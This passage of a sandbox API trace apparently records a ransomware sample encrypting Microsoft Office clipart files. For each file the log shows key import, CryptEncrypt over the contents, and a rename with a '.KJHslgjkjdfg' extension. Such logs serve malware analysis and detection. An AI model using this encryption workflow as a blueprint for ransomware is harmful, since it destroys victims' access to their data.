lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.877] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.878] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.878] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.878] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.878] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.878] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.878] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe88, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe88, lpOverlapped=0x0) returned 1 [0243.878] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe90, dwBufLen=0xe90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe90) returned 1 [0243.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.879] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe90, lpOverlapped=0x0) returned 1 [0243.879] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.879] SetEndOfFile (hFile=0x130) returned 1 [0243.882] GetProcessHeap () returned 0x2ef0000 [0243.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.882] GetProcessHeap () returned 0x2ef0000 [0243.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.kjhslgjkjdfg")) returned 1 [0243.958] CloseHandle (hObject=0x130) returned 1 [0243.985] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26de00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26de00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1 [0243.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.987] GetProcessHeap () returned 0x2ef0000 [0243.987] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.987] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.987] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.987] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.987] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.987] GetProcessHeap () returned 0x2ef0000 [0243.987] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.987] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.987] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.987] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.990] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.990] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.990] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.991] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.991] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.991] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.991] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8e0, lpOverlapped=0x0) returned 1 [0243.991] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0) returned 1 [0243.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.991] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8e0, lpOverlapped=0x0) returned 1 [0243.991] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.992] SetEndOfFile (hFile=0x130) returned 1 [0243.994] GetProcessHeap () returned 0x2ef0000 [0243.994] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.994] GetProcessHeap () returned 0x2ef0000 [0243.994] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.kjhslgjkjdfg")) returned 1 [0243.996] CloseHandle (hObject=0x130) returned 1 [0243.996] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1436bc00, ftCreationTime.dwHighDateTime=0x1bd4be4, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1436bc00, ftLastWriteTime.dwHighDateTime=0x1bd4be4, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1 [0243.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.999] GetProcessHeap () returned 0x2ef0000 [0243.999] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.999] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.999] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.001] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.001] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.001] GetProcessHeap () returned 0x2ef0000 [0244.001] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.002] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.002] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.002] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.002] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.002] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.002] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.002] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.003] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.003] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.003] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x818, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x818, lpOverlapped=0x0) returned 1 [0244.003] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820, dwBufLen=0x820 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x820) returned 1 [0244.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.003] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x820, lpOverlapped=0x0) returned 1 [0244.003] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.004] SetEndOfFile (hFile=0x130) returned 1 [0244.007] GetProcessHeap () returned 0x2ef0000 [0244.007] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.007] GetProcessHeap () returned 0x2ef0000 [0244.007] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.kjhslgjkjdfg")) returned 1 [0244.009] CloseHandle (hObject=0x130) returned 1 [0244.010] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be44f00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3be44f00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1 [0244.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.012] GetProcessHeap () returned 0x2ef0000 [0244.012] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.012] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.012] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0244.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.014] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.015] GetProcessHeap () returned 0x2ef0000 [0244.015] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.015] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.015] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.015] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.015] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.015] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.015] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.015] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.015] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.016] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.016] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa94, lpOverlapped=0x0) returned 1 [0244.016] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaa0, dwBufLen=0xaa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xaa0) returned 1 [0244.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.016] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xaa0, lpOverlapped=0x0) returned 1 [0244.016] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.016] SetEndOfFile (hFile=0x130) returned 1 [0244.019] GetProcessHeap () returned 0x2ef0000 [0244.019] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.019] GetProcessHeap () returned 0x2ef0000 [0244.019] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.kjhslgjkjdfg")) returned 1 [0244.021] CloseHandle (hObject=0x130) returned 1 [0244.021] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325ae700, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x325ae700, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02265_.WMF", cAlternateFileName="")) returned 1 [0244.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.022] GetProcessHeap () returned 0x2ef0000 [0244.022] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.023] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.023] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.025] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.025] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.025] GetProcessHeap () returned 0x2ef0000 [0244.025] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.025] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.025] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.025] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.026] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, 